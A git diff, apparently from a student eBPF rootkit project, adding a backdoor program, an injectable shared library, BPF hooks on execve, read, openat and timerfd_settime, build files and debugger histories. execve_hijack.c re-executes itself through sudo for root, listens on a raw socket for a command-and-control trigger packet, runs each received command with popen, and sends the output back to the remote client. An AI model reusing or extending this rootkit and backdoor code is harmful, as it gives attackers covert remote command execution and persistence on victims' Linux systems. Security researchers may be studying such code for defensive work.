* strncpy - Copy a length-limited, C-string
|
||||
* @dest: Where to copy the string to
|
||||
* @src: Where to copy the string from
|
||||
* @count: The maximum number of bytes to copy
|
||||
*
|
||||
* The result is not %NUL-terminated if the source exceeds
|
||||
* @count bytes.
|
||||
*
|
||||
* In the case where the length of @src is less than that of
|
||||
* count, the remainder of @dest will be padded with %NUL.
|
||||
*
|
||||
*/
|
||||
static __always_inline char* str_n_copy(char *dest, const char *src, int count){
|
||||
char *tmp = dest;
|
||||
|
||||
while (count) {
|
||||
if ((*tmp = *src) != 0)
|
||||
src++;
|
||||
tmp++;
|
||||
count--;
|
||||
}
|
||||
return dest;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Checks if string is a
|
||||
*
|
||||
*/
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -36,6 +36,8 @@
|
||||
//BPF modules to load
|
||||
#include "include/bpf/sched.h"
|
||||
#include "include/bpf/fs.h"
|
||||
#include "include/bpf/exec.h"
|
||||
#include "include/bpf/injection.h"
|
||||
|
||||
char LICENSE[] SEC("license") = "Dual BSD/GPL";
|
||||
#define ETH_ALEN 6
|
||||
|
||||
256
src/helpers/.gdb_history
Normal file
256
src/helpers/.gdb_history
Normal file
@@ -0,0 +1,256 @@
|
||||
q
|
||||
disass main
|
||||
b *(main+446)
|
||||
r
|
||||
ssi
|
||||
si
|
||||
ni
|
||||
1
|
||||
q
|
||||
b *(main+446)
|
||||
r
|
||||
si
|
||||
ni
|
||||
q
|
||||
b *(main+446)
|
||||
r
|
||||
si
|
||||
ni
|
||||
q
|
||||
b *(main+446)
|
||||
r
|
||||
si
|
||||
ni
|
||||
q
|
||||
b *(main+446)
|
||||
r
|
||||
si
|
||||
ni
|
||||
q
|
||||
b *(main+446)
|
||||
r
|
||||
si
|
||||
ni
|
||||
q
|
||||
b *(main+446)
|
||||
r
|
||||
si
|
||||
ni
|
||||
si
|
||||
ni
|
||||
si
|
||||
q
|
||||
b *(main+446)
|
||||
r
|
||||
si
|
||||
ni
|
||||
si
|
||||
si
|
||||
si
|
||||
fin
|
||||
q
|
||||
b *(main+446)
|
||||
r
|
||||
si
|
||||
ni
|
||||
si
|
||||
ni
|
||||
q
|
||||
b *(main+446)
|
||||
r
|
||||
si
|
||||
si
|
||||
ni
|
||||
si
|
||||
ni
|
||||
si
|
||||
si
|
||||
s
|
||||
q
|
||||
b *(main+446)
|
||||
r
|
||||
ni
|
||||
q
|
||||
b *(main+446)
|
||||
r
|
||||
si
|
||||
ni
|
||||
q
|
||||
b *(main+446)
|
||||
r
|
||||
si
|
||||
ni
|
||||
si
|
||||
q
|
||||
r
|
||||
q
|
||||
b *(main+446)
|
||||
r
|
||||
si
|
||||
ni
|
||||
si
|
||||
ni
|
||||
si
|
||||
si
|
||||
si
|
||||
si
|
||||
display $fs
|
||||
display $fs:0x28
|
||||
q
|
||||
b *(main+446)
|
||||
r
|
||||
si
|
||||
ni
|
||||
q
|
||||
b *(main+446)
|
||||
r
|
||||
si
|
||||
si
|
||||
ni
|
||||
si
|
||||
ni
|
||||
si
|
||||
q
|
||||
b *(main+446)
|
||||
r
|
||||
si
|
||||
q
|
||||
b *(main+446)
|
||||
r
|
||||
si
|
||||
ni
|
||||
si
|
||||
si
|
||||
ni
|
||||
q
|
||||
r
|
||||
q
|
||||
b *(main+446)
|
||||
r
|
||||
si
|
||||
c
|
||||
q
|
||||
r
|
||||
r
|
||||
q
|
||||
b *(main+446)
|
||||
r
|
||||
si
|
||||
ni
|
||||
si
|
||||
ni
|
||||
si
|
||||
q
|
||||
b *(main+446)
|
||||
r
|
||||
si
|
||||
ni
|
||||
q
|
||||
b *(main+446)
|
||||
r
|
||||
si
|
||||
q
|
||||
b *(main+446)
|
||||
r
|
||||
si
|
||||
ni
|
||||
si
|
||||
ni
|
||||
si
|
||||
q
|
||||
b *(main+446)
|
||||
r
|
||||
si
|
||||
ni
|
||||
si
|
||||
q
|
||||
b *(main+446)
|
||||
r
|
||||
si
|
||||
q
|
||||
checksec
|
||||
q
|
||||
checksec
|
||||
q
|
||||
checksec
|
||||
q
|
||||
checksec
|
||||
q
|
||||
disass main
|
||||
b *(main+446)
|
||||
r
|
||||
si
|
||||
ni
|
||||
si
|
||||
ni
|
||||
si
|
||||
q
|
||||
b *(main+446)
|
||||
r
|
||||
x/20i 0x7ffff7ede560
|
||||
x/100i 0x7ffff7ede560
|
||||
x/1000i 0x7ffff7ede560
|
||||
q
|
||||
b *(main+446)
|
||||
r
|
||||
si
|
||||
disass /r 0x555555555130
|
||||
x/20b 0x555555557fd0
|
||||
q
|
||||
b timerfd_settime@plt
|
||||
r
|
||||
si
|
||||
q
|
||||
disass /r 0x555555555130
|
||||
b timerfd_settime
|
||||
r
|
||||
q
|
||||
b timerfd_settime@plt
|
||||
r
|
||||
disass /r 0x555555555130
|
||||
q
|
||||
b *(main+446)
|
||||
r
|
||||
si
|
||||
ni
|
||||
si
|
||||
ni
|
||||
si
|
||||
x/20b 0x5555555556fb
|
||||
disass /r 0x555555555134
|
||||
x/20b 0x5555555556fb
|
||||
q
|
||||
b *(main+446)
|
||||
r
|
||||
si
|
||||
fin
|
||||
si
|
||||
fin
|
||||
si
|
||||
fin
|
||||
q
|
||||
b *(main+446)
|
||||
r
|
||||
si
|
||||
ni
|
||||
x/20b 0x5555555556fb
|
||||
q
|
||||
b *(main+446)
|
||||
r
|
||||
si
|
||||
ni
|
||||
x/20b 0x5555555556fb
|
||||
q
|
||||
b *(main+446)
|
||||
r
|
||||
si
|
||||
ni
|
||||
q
|
||||
b *(main+446)
|
||||
r
|
||||
si
|
||||
ni
|
||||
si
|
||||
ni
|
||||
si
|
||||
q
|
||||
29
src/helpers/Makefile
Normal file
29
src/helpers/Makefile
Normal file
@@ -0,0 +1,29 @@
|
||||
CC = gcc
|
||||
HEADERS = lib/RawTCP.h
|
||||
EXTRA_CFLAGS= -I$(PWD)/lib
|
||||
|
||||
default:
|
||||
make execve_hijack injection_lib simple_timer
|
||||
|
||||
injection_lib: injection_lib.o
|
||||
gcc -Wall -shared -fPIC -o injection_lib.so injection_lib.c -ldl
|
||||
|
||||
simple_timer.o: simple_timer.c $(HEADERS)
|
||||
gcc -g -c simple_timer.c
|
||||
|
||||
simple_timer: simple_timer.o
|
||||
gcc -g -o simple_timer simple_timer.o
|
||||
|
||||
execve_hijack.o: execve_hijack.c $(HEADERS)
|
||||
gcc -g -c execve_hijack.c
|
||||
|
||||
execve_hijack: execve_hijack.o lib/libRawTCP_Lib.a
|
||||
gcc -g -o execve_hijack execve_hijack.o -ldl -L. lib/libRawTCP_Lib.a
|
||||
|
||||
clean:
|
||||
-rm -f execve_hijack.o
|
||||
-rm -f execve_hijack
|
||||
-rm -f injection_lib.o
|
||||
-rm -f injection_lib.so
|
||||
-rm -f simple_timer.o
|
||||
-rm -f simple_timer
|
||||
BIN
src/helpers/execve_hijack
Executable file
BIN
src/helpers/execve_hijack
Executable file
Binary file not shown.
2611
src/helpers/execve_hijack.asm
Normal file
2611
src/helpers/execve_hijack.asm
Normal file
File diff suppressed because it is too large
Load Diff
215
src/helpers/execve_hijack.c
Normal file
215
src/helpers/execve_hijack.c
Normal file
@@ -0,0 +1,215 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <fcntl.h>
|
||||
#include <unistd.h>
|
||||
#include <time.h>
|
||||
#include <sys/wait.h>
|
||||
#include <bpf/bpf.h>
|
||||
#include <bpf/libbpf.h>
|
||||
#include <sys/socket.h>
|
||||
#include <netinet/in.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <sys/socket.h>
|
||||
#include <netdb.h>
|
||||
#include <netinet/ip.h>
|
||||
#include <netinet/tcp.h>
|
||||
#include <dlfcn.h>
|
||||
#include <sys/timerfd.h>
|
||||
|
||||
#include "lib/RawTCP.h"
|
||||
#include "../common/c&c.h"
|
||||
|
||||
|
||||
int test_time_values_injection(){
|
||||
|
||||
struct itimerspec new_value, new_value2;
|
||||
int max_exp, fd, fd2;
|
||||
struct timespec now;
|
||||
uint64_t exp, tot_exp;
|
||||
ssize_t s;
|
||||
|
||||
|
||||
fd = timerfd_create(CLOCK_REALTIME, 0);
|
||||
if (fd == -1)
|
||||
return -1;
|
||||
|
||||
new_value.it_interval.tv_sec = 30;
|
||||
new_value.it_interval.tv_nsec = 0;
|
||||
|
||||
if (timerfd_settime(fd, TFD_TIMER_ABSTIME, &new_value, NULL) == -1)
|
||||
return -1;
|
||||
|
||||
fd2 = timerfd_create(CLOCK_REALTIME, 0);
|
||||
if (fd2 == -1)
|
||||
return -1;
|
||||
|
||||
new_value2.it_interval.tv_sec = 30;
|
||||
new_value2.it_interval.tv_nsec = 0;
|
||||
|
||||
if (timerfd_settime(fd2, TFD_TIMER_ABSTIME, &new_value2, NULL) == -1)
|
||||
return -1;
|
||||
|
||||
|
||||
printf("Timer %i started, address sent %llx\n", fd, (__u64)&new_value);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
char* execute_command(char* command){
|
||||
|
||||
FILE *fp;
|
||||
char* res = calloc(4096, sizeof(char));
|
||||
char buf[1024];
|
||||
|
||||
fp = popen(command, "r");
|
||||
if(fp == NULL) {
|
||||
printf("Failed to run command\n" );
|
||||
return "COMMAND ERROR";
|
||||
}
|
||||
|
||||
while(fgets(buf, sizeof(buf), fp) != NULL) {
|
||||
strcat(res, buf);
|
||||
}
|
||||
printf("RESULT OF COMMAND: %s\n", res);
|
||||
|
||||
pclose(fp);
|
||||
return res;
|
||||
}
|
||||
|
||||
|
||||
char* getLocalIpAddress(){
|
||||
char hostbuffer[256];
|
||||
char* IPbuffer = calloc(256, sizeof(char));
|
||||
struct hostent *host_entry;
|
||||
int hostname;
|
||||
|
||||
hostname = gethostname(hostbuffer, sizeof(hostbuffer));
|
||||
if(hostname==-1){
|
||||
exit(1);
|
||||
}
|
||||
|
||||
host_entry = gethostbyname(hostbuffer);
|
||||
if(host_entry == NULL){
|
||||
exit(1);
|
||||
}
|
||||
|
||||
// To convert an Internet network
|
||||
// address into ASCII string
|
||||
strcpy(IPbuffer,inet_ntoa(*((struct in_addr*) host_entry->h_addr_list[0])));
|
||||
|
||||
return IPbuffer;
|
||||
}
|
||||
|
||||
int main(int argc, char* argv[], char *envp[]){
|
||||
printf("Hello world from execve hijacker\n");
|
||||
for(int ii=0; ii<argc; ii++){
|
||||
printf("Argument %i is %s\n", ii, argv[ii]);
|
||||
}
|
||||
|
||||
test_time_values_injection();
|
||||
|
||||
time_t rawtime;
|
||||
struct tm * timeinfo;
|
||||
|
||||
time ( &rawtime );
|
||||
timeinfo = localtime ( &rawtime );
|
||||
char* timestr = asctime(timeinfo);
|
||||
|
||||
|
||||
if(geteuid() != 0){
|
||||
//We do not have privileges, but we do want them. Let's rerun the program now.
|
||||
char* args[argc+1];
|
||||
args[0] = argv[0];
|
||||
for(int ii=0; ii<argc; ii++){
|
||||
args[ii+1] = argv[ii];
|
||||
}
|
||||
if(execve("/usr/bin/sudo", args, envp)<0){
|
||||
perror("Failed to execve()");
|
||||
exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
//We proceed to fork() and exec the original program, whilst also executing the one we
|
||||
//ordered to execute via the network backdoor
|
||||
//int bpf_map_fd = bpf_map_get_fd_by_id()
|
||||
|
||||
int fd = open("/tmp/rootlog", O_RDWR | O_CREAT | O_TRUNC, 0666);
|
||||
if(fd<0){
|
||||
perror("Failed to open log file");
|
||||
//return -1;
|
||||
}
|
||||
|
||||
int ii = 0;
|
||||
while(*(timestr+ii)!='\0'){
|
||||
write(fd, timestr+ii, 1);
|
||||
ii++;
|
||||
}
|
||||
write(fd, "\t", 1);
|
||||
|
||||
ii = 0;
|
||||
while(*(argv[0]+ii)!='\0'){
|
||||
write(fd, argv[0]+ii, 1);
|
||||
ii++;
|
||||
}
|
||||
|
||||
write(fd, "\n", 1);
|
||||
write(fd, "Sniffing...\n", 13);
|
||||
|
||||
|
||||
packet_t packet = rawsocket_sniff_pattern(CC_PROT_SYN);
|
||||
if(packet.ipheader == NULL){
|
||||
write(fd, "Failed to open rawsocket\n", 1);
|
||||
return -1;
|
||||
}
|
||||
write(fd, "Sniffed\n", 9);
|
||||
//TODO GET THE IP FROM THE BACKDOOR CLIENT
|
||||
char* local_ip = getLocalIpAddress();
|
||||
char remote_ip[16];
|
||||
inet_ntop(AF_INET, &(packet.ipheader->saddr), remote_ip, 16);
|
||||
printf("IP: %s\n", local_ip);
|
||||
|
||||
packet_t packet_ack = build_standard_packet(8000, 9000, local_ip, remote_ip, 4096, CC_PROT_ACK);
|
||||
if(rawsocket_send(packet_ack)<0){
|
||||
write(fd, "Failed to open rawsocket\n", 1);
|
||||
close(fd);
|
||||
return -1;
|
||||
}
|
||||
|
||||
//Start of pseudo connection with the rootkit client
|
||||
int connection_close = 0;
|
||||
while(!connection_close){
|
||||
packet_t packet = rawsocket_sniff_pattern(CC_PROT_MSG);
|
||||
printf("Received client message\n");
|
||||
char* payload = packet.payload;
|
||||
char *p;
|
||||
p = strtok(payload, "#");
|
||||
p = strtok(NULL, "#");
|
||||
if(p){
|
||||
if(strcmp(p, CC_PROT_FIN_PART)==0){
|
||||
printf("Connection closed by request\n");
|
||||
connection_close = 1;
|
||||
}else{
|
||||
printf("Received request: %s\n", p);
|
||||
char* res = execute_command(p);
|
||||
char* payload_buf = calloc(4096, sizeof(char));
|
||||
strcpy(payload_buf, CC_PROT_MSG);
|
||||
strcat(payload_buf, res);
|
||||
packet_t packet_res = build_standard_packet(8000, 9000, local_ip, remote_ip, 4096, payload_buf);
|
||||
if(rawsocket_send(packet_res)<0){
|
||||
write(fd, "Failed to open rawsocket\n", 1);
|
||||
close(fd);
|
||||
return -1;
|
||||
}
|
||||
free(payload_buf);
|
||||
free(res);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
close(fd);
|
||||
return 0;
|
||||
}
|
||||
BIN
src/helpers/execve_hijack.o
Normal file
BIN
src/helpers/execve_hijack.o
Normal file
Binary file not shown.
10
src/helpers/injection_lib.c
Normal file
10
src/helpers/injection_lib.c
Normal file
@@ -0,0 +1,10 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <syslog.h>
|
||||
|
||||
__attribute__((constructor))
|
||||
static void init()
|
||||
{
|
||||
printf("Library successfully injected!\n");
|
||||
syslog(LOG_CRIT, "Library called\n");
|
||||
}
|
||||
BIN
src/helpers/injection_lib.o
Normal file
BIN
src/helpers/injection_lib.o
Normal file
Binary file not shown.
BIN
src/helpers/injection_lib.so
Executable file
BIN
src/helpers/injection_lib.so
Executable file
Binary file not shown.
36
src/helpers/lib/RawTCP.h
Normal file
36
src/helpers/lib/RawTCP.h
Normal file
@@ -0,0 +1,36 @@
|
||||
#ifndef HEADER_RAWTCP_LIB
|
||||
#define HEADER_RAWTCP_LIB
|
||||
|
||||
#include <stdlib.h>
|
||||
|
||||
//Packet_t structure
|
||||
typedef struct packet_t{
|
||||
struct iphdr *ipheader;
|
||||
struct tcphdr *tcpheader;
|
||||
char *payload;
|
||||
int payload_length;
|
||||
char* packet;
|
||||
}packet_t;
|
||||
|
||||
//PacketForger headers
|
||||
packet_t build_standard_packet(
|
||||
u_int16_t source_port,
|
||||
u_int16_t destination_port,
|
||||
const char* source_ip_address,
|
||||
const char* destination_ip_address,
|
||||
u_int32_t packet_length,
|
||||
char* payload
|
||||
);
|
||||
|
||||
int packet_destroy(packet_t packet);
|
||||
|
||||
int set_TCP_flags(packet_t packet, int hex_flags);
|
||||
|
||||
//SocketManager headers
|
||||
int rawsocket_send(packet_t packet);
|
||||
|
||||
packet_t rawsocket_sniff();
|
||||
|
||||
packet_t rawsocket_sniff_pattern(char* payload_pattern);
|
||||
|
||||
#endif
|
||||
BIN
src/helpers/lib/libRawTCP_Lib.a
Normal file
BIN
src/helpers/lib/libRawTCP_Lib.a
Normal file
Binary file not shown.
15
src/helpers/opcode_reverser.py
Normal file
15
src/helpers/opcode_reverser.py
Normal file
@@ -0,0 +1,15 @@
|
||||
#!/usr/bin/env python3
|
||||
import sys
|
||||
from itertools import chain
|
||||
|
||||
while True:
|
||||
arg = input()[::-1]
|
||||
group = 2
|
||||
result = "".join(chain.from_iterable([reversed(elem) for elem in zip(*[iter(arg)]*group)]))
|
||||
|
||||
if(len(result) != len(arg)):
|
||||
print("String not with even characters?")
|
||||
#exit(1)
|
||||
|
||||
print(result)
|
||||
|
||||
2
src/helpers/peda-session-execve_hijack.txt
Normal file
2
src/helpers/peda-session-execve_hijack.txt
Normal file
@@ -0,0 +1,2 @@
|
||||
break *(test_time_values_injection+94)
|
||||
|
||||
2
src/helpers/peda-session-simple_timer.txt
Normal file
2
src/helpers/peda-session-simple_timer.txt
Normal file
@@ -0,0 +1,2 @@
|
||||
break *(main+446)
|
||||
|
||||
15
src/helpers/peda-session-sudo.txt
Normal file
15
src/helpers/peda-session-sudo.txt
Normal file
@@ -0,0 +1,15 @@
|
||||
break test_time_values_injection
|
||||
disable $bpnum
|
||||
break *(test_time_values_injection+94)
|
||||
disable $bpnum
|
||||
break *(test_time_values_injection+177)
|
||||
disable $bpnum
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
BIN
src/helpers/simple_timer
Executable file
BIN
src/helpers/simple_timer
Executable file
Binary file not shown.
110
src/helpers/simple_timer.c
Normal file
110
src/helpers/simple_timer.c
Normal file
@@ -0,0 +1,110 @@
|
||||
/**
|
||||
* Modified version of Linux man page timer using timerfd.
|
||||
* Counts to 3, 1 second at a time, then sets another time up to 3, one second at a time.
|
||||
*/
|
||||
|
||||
#include <sys/timerfd.h>
|
||||
#include <time.h>
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <stdint.h>
|
||||
|
||||
void print_elapsed_time() {
|
||||
static struct timespec start;
|
||||
struct timespec curr;
|
||||
static int first_call = 1;
|
||||
int secs, nsecs;
|
||||
|
||||
if (first_call) {
|
||||
first_call = 0;
|
||||
if (clock_gettime(CLOCK_MONOTONIC, &start) == -1){
|
||||
perror("clock_gettime");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
if (clock_gettime(CLOCK_MONOTONIC, &curr) == -1){
|
||||
perror("clock_gettime");
|
||||
return;
|
||||
}
|
||||
|
||||
secs = curr.tv_sec - start.tv_sec;
|
||||
nsecs = curr.tv_nsec - start.tv_nsec;
|
||||
if (nsecs < 0) {
|
||||
secs--;
|
||||
nsecs += 1000000000;
|
||||
}
|
||||
printf("Timer called at: %d.%03d: ", secs, (nsecs + 500000) / 1000000);
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
struct itimerspec new_value;
|
||||
int max_exp, fd;
|
||||
struct timespec now;
|
||||
uint64_t exp;
|
||||
ssize_t s;
|
||||
|
||||
if (clock_gettime(CLOCK_REALTIME, &now) == -1){
|
||||
perror("clock_gettime");
|
||||
return -1;
|
||||
}
|
||||
|
||||
new_value.it_value.tv_sec = now.tv_sec +1;
|
||||
new_value.it_value.tv_nsec = now.tv_nsec;
|
||||
new_value.it_interval.tv_sec = 1;
|
||||
new_value.it_interval.tv_nsec = 0;
|
||||
max_exp = 3;
|
||||
|
||||
fd = timerfd_create(CLOCK_REALTIME, 0);
|
||||
if (fd == -1){
|
||||
perror("timerfd_create");
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (timerfd_settime(fd, TFD_TIMER_ABSTIME, &new_value, NULL) == -1){
|
||||
perror("timerfd_settime");
|
||||
return -1;
|
||||
}
|
||||
|
||||
printf("Timer started\n");
|
||||
|
||||
for (uint64_t tot_exp = 0; tot_exp < max_exp;) {
|
||||
s = read(fd, &exp, sizeof(uint64_t));
|
||||
if (s != sizeof(uint64_t))
|
||||
perror("Error reading from timer");
|
||||
|
||||
tot_exp += exp;
|
||||
print_elapsed_time();
|
||||
printf("time between: %llu; total elapsed time=%llu\n", (unsigned long long) exp, (unsigned long long) tot_exp);
|
||||
}
|
||||
|
||||
if (clock_gettime(CLOCK_REALTIME, &now) == -1){
|
||||
perror("clock_gettime");
|
||||
return -1;
|
||||
}
|
||||
|
||||
new_value.it_value.tv_sec = now.tv_sec +1;
|
||||
new_value.it_value.tv_nsec = now.tv_nsec;
|
||||
new_value.it_interval.tv_sec = 1;
|
||||
new_value.it_interval.tv_nsec = 0;
|
||||
max_exp = 3;
|
||||
|
||||
if (timerfd_settime(fd, TFD_TIMER_ABSTIME, &new_value, NULL) == -1){
|
||||
perror("timerfd_settime");
|
||||
return -1;
|
||||
}
|
||||
|
||||
for (uint64_t tot_exp = 0; tot_exp < max_exp;) {
|
||||
s = read(fd, &exp, sizeof(uint64_t));
|
||||
if (s != sizeof(uint64_t))
|
||||
perror("Error reading from timer");
|
||||
|
||||
tot_exp += exp;
|
||||
print_elapsed_time();
|
||||
printf("time between: %llu; total elapsed time=%llu\n", (unsigned long long) exp, (unsigned long long) tot_exp);
|
||||
}
|
||||
|
||||
|
||||
return 0;
|
||||
}
|
||||
BIN
src/helpers/simple_timer.o
Normal file
BIN
src/helpers/simple_timer.o
Normal file
Binary file not shown.
34
src/user/include/modules/exec.h
Normal file
34
src/user/include/modules/exec.h
Normal file
@@ -0,0 +1,34 @@
|
||||
#ifndef __MOD_EXEC_H
|
||||
#define __MOD_EXEC_H
|
||||
|
||||
#include <linux/bpf.h>
|
||||
#include <bpf/bpf.h>
|
||||
#include <bpf/libbpf.h>
|
||||
#include "common.h"
|
||||
#include "kit.skel.h"
|
||||
|
||||
//Connections
|
||||
int attach_tp_sys_enter_execve(struct kit_bpf *skel){
|
||||
skel->links.tp_sys_enter_execve = bpf_program__attach(skel->progs.tp_sys_enter_execve);
|
||||
return libbpf_get_error(skel->links.tp_sys_enter_execve);
|
||||
}
|
||||
|
||||
int attach_exec_all(struct kit_bpf *skel){
|
||||
return attach_tp_sys_enter_execve(skel);
|
||||
}
|
||||
|
||||
|
||||
int detach_tp_sys_enter_execve(struct kit_bpf *skel){
|
||||
int err = detach_link_generic(skel->links.tp_sys_enter_execve);
|
||||
if(err<0){
|
||||
fprintf(stderr, "Failed to detach fs link\n");
|
||||
return -1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
int detach_exec_all(struct kit_bpf *skel){
|
||||
return detach_tp_sys_enter_execve(skel);
|
||||
}
|
||||
|
||||
#endif
|
||||
@@ -8,30 +8,44 @@
|
||||
#include "kit.skel.h"
|
||||
|
||||
//Connections
|
||||
int attach_kprobe_ksys_read(struct kit_bpf *skel){
|
||||
skel->links.kprobe_ksys_read = bpf_program__attach(skel->progs.kprobe_ksys_read);
|
||||
return libbpf_get_error(skel->links.kprobe_ksys_read);
|
||||
int attach_tp_sys_enter_read(struct kit_bpf *skel){
|
||||
skel->links.tp_sys_enter_read = bpf_program__attach(skel->progs.tp_sys_enter_read);
|
||||
return libbpf_get_error(skel->links.tp_sys_enter_read);
|
||||
}
|
||||
int attach_kretprobe_vfs_read(struct kit_bpf *skel){
|
||||
skel->links.kretprobe_vfs_read = bpf_program__attach(skel->progs.kretprobe_vfs_read);
|
||||
return libbpf_get_error(skel->links.kretprobe_vfs_read);
|
||||
int attach_tp_sys_exit_read(struct kit_bpf *skel){
|
||||
skel->links.tp_sys_exit_read = bpf_program__attach(skel->progs.tp_sys_exit_read);
|
||||
return libbpf_get_error(skel->links.tp_sys_exit_read);
|
||||
}
|
||||
int attach_tp_sys_enter_openat(struct kit_bpf *skel){
|
||||
skel->links.tp_sys_enter_openat = bpf_program__attach(skel->progs.tp_sys_enter_openat);
|
||||
return libbpf_get_error(skel->links.tp_sys_enter_openat);
|
||||
}
|
||||
|
||||
int attach_fs_all(struct kit_bpf *skel){
|
||||
return attach_kprobe_ksys_read(skel) || attach_kretprobe_vfs_read(skel);
|
||||
return attach_tp_sys_enter_read(skel) ||
|
||||
attach_tp_sys_exit_read(skel) ||
|
||||
attach_tp_sys_enter_openat(skel);
|
||||
}
|
||||
|
||||
|
||||
int detach_kprobe_ksys_read(struct kit_bpf *skel){
|
||||
int err = detach_link_generic(skel->links.kprobe_ksys_read);
|
||||
int detach_tp_sys_enter_read(struct kit_bpf *skel){
|
||||
int err = detach_link_generic(skel->links.tp_sys_enter_read);
|
||||
if(err<0){
|
||||
fprintf(stderr, "Failed to detach fs link\n");
|
||||
return -1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
int detach_kretprobe_vfs_read(struct kit_bpf *skel){
|
||||
int err = detach_link_generic(skel->links.kretprobe_vfs_read);
|
||||
int detach_tp_sys_exit_read(struct kit_bpf *skel){
|
||||
int err = detach_link_generic(skel->links.tp_sys_exit_read);
|
||||
if(err<0){
|
||||
fprintf(stderr, "Failed to detach fs link\n");
|
||||
return -1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
int detach_tp_sys_enter_openat(struct kit_bpf *skel){
|
||||
int err = detach_link_generic(skel->links.tp_sys_enter_openat);
|
||||
if(err<0){
|
||||
fprintf(stderr, "Failed to detach fs link\n");
|
||||
return -1;
|
||||
@@ -40,7 +54,9 @@ int detach_kretprobe_vfs_read(struct kit_bpf *skel){
|
||||
}
|
||||
|
||||
int detach_fs_all(struct kit_bpf *skel){
|
||||
return detach_kprobe_ksys_read(skel) || detach_kretprobe_vfs_read(skel);
|
||||
return detach_tp_sys_enter_read(skel) ||
|
||||
detach_tp_sys_exit_read(skel) ||
|
||||
detach_tp_sys_enter_openat(skel);
|
||||
}
|
||||
|
||||
#endif
|
||||
49
src/user/include/modules/injection.h
Normal file
49
src/user/include/modules/injection.h
Normal file
@@ -0,0 +1,49 @@
|
||||
#ifndef __MOD_INJECTION_H
|
||||
#define __MOD_INJECTION_H
|
||||
|
||||
#include <linux/bpf.h>
|
||||
#include <bpf/bpf.h>
|
||||
#include <bpf/libbpf.h>
|
||||
#include "kit.skel.h"
|
||||
#include "common.h"
|
||||
|
||||
//Connections
|
||||
int attach_sys_enter_timerfd_settime(struct kit_bpf *skel){
|
||||
//skel->links.kprobe_sys_geteuid = bpf_program__attach_uprobe(skel->progs.uprobe_execute_command, false, -1, "/home/osboxes/TFG/src/helpers/execve_hijack", 4992);
|
||||
skel->links.sys_enter_timerfd_settime = bpf_program__attach(skel->progs.sys_enter_timerfd_settime);
|
||||
return libbpf_get_error(skel->links.sys_enter_timerfd_settime);
|
||||
}
|
||||
int attach_sys_exit_timerfd_settime(struct kit_bpf *skel){
|
||||
skel->links.sys_exit_timerfd_settime = bpf_program__attach(skel->progs.sys_exit_timerfd_settime);
|
||||
return libbpf_get_error(skel->links.sys_exit_timerfd_settime);
|
||||
}
|
||||
|
||||
int attach_injection_all(struct kit_bpf *skel){
|
||||
return attach_sys_enter_timerfd_settime(skel)
|
||||
|| attach_sys_exit_timerfd_settime(skel);;
|
||||
}
|
||||
|
||||
|
||||
int detach_sys_enter_timerfd_settime(struct kit_bpf *skel){
|
||||
int err = detach_link_generic(skel->links.sys_enter_timerfd_settime);
|
||||
if(err<0){
|
||||
fprintf(stderr, "Failed to detach injection link\n");
|
||||
return -1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
int detach_sys_exit_timerfd_settime(struct kit_bpf *skel){
|
||||
int err = detach_link_generic(skel->links.sys_exit_timerfd_settime);
|
||||
if(err<0){
|
||||
fprintf(stderr, "Failed to detach injection link\n");
|
||||
return -1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
int detach_injection_all(struct kit_bpf *skel){
|
||||
return detach_sys_enter_timerfd_settime(skel)
|
||||
|| detach_sys_exit_timerfd_settime(skel);
|
||||
}
|
||||
|
||||
#endif
|
||||
@@ -2,6 +2,8 @@
|
||||
#include "xdp.h"
|
||||
#include "sched.h"
|
||||
#include "fs.h"
|
||||
#include "exec.h"
|
||||
#include "injection.h"
|
||||
|
||||
module_config_t module_config = {
|
||||
.xdp_module = {
|
||||
@@ -14,8 +16,18 @@ module_config_t module_config = {
|
||||
},
|
||||
.fs_module = {
|
||||
.all = ON,
|
||||
.kprobe_ksys_read = OFF,
|
||||
.kretprobe_vfs_read = OFF
|
||||
.tp_sys_enter_read = OFF,
|
||||
.tp_sys_exit_read = OFF,
|
||||
.tp_sys_enter_openat = OFF
|
||||
},
|
||||
.exec_module = {
|
||||
.all = ON,
|
||||
.tp_sys_enter_execve = OFF
|
||||
},
|
||||
.injection_module = {
|
||||
.all = ON,
|
||||
.sys_enter_timerfd_settime = OFF,
|
||||
.sys_exit_timerfd_settime = OFF
|
||||
}
|
||||
|
||||
};
|
||||
@@ -27,7 +39,9 @@ module_config_attr_t module_config_attr = {
|
||||
.flags = -1
|
||||
},
|
||||
.sched_module = {},
|
||||
.fs_module = {}
|
||||
.fs_module = {},
|
||||
.exec_module = {},
|
||||
.injection_module = {}
|
||||
};
|
||||
|
||||
|
||||
@@ -57,11 +71,28 @@ int setup_all_modules(){
|
||||
if(config.fs_module.all == ON){
|
||||
ret = attach_fs_all(attr.skel);
|
||||
}else{
|
||||
if(config.fs_module.kprobe_ksys_read == ON) ret = attach_kprobe_ksys_read(attr.skel);
|
||||
if(config.fs_module.kretprobe_vfs_read == ON) ret = attach_kretprobe_vfs_read(attr.skel);
|
||||
if(config.fs_module.tp_sys_enter_read == ON) ret = attach_tp_sys_enter_read(attr.skel);
|
||||
if(config.fs_module.tp_sys_exit_read == ON) ret = attach_tp_sys_exit_read(attr.skel);
|
||||
if(config.fs_module.tp_sys_enter_openat == ON) ret = attach_tp_sys_enter_openat(attr.skel);
|
||||
}
|
||||
if(ret!=0) return -1;
|
||||
|
||||
//EXEC
|
||||
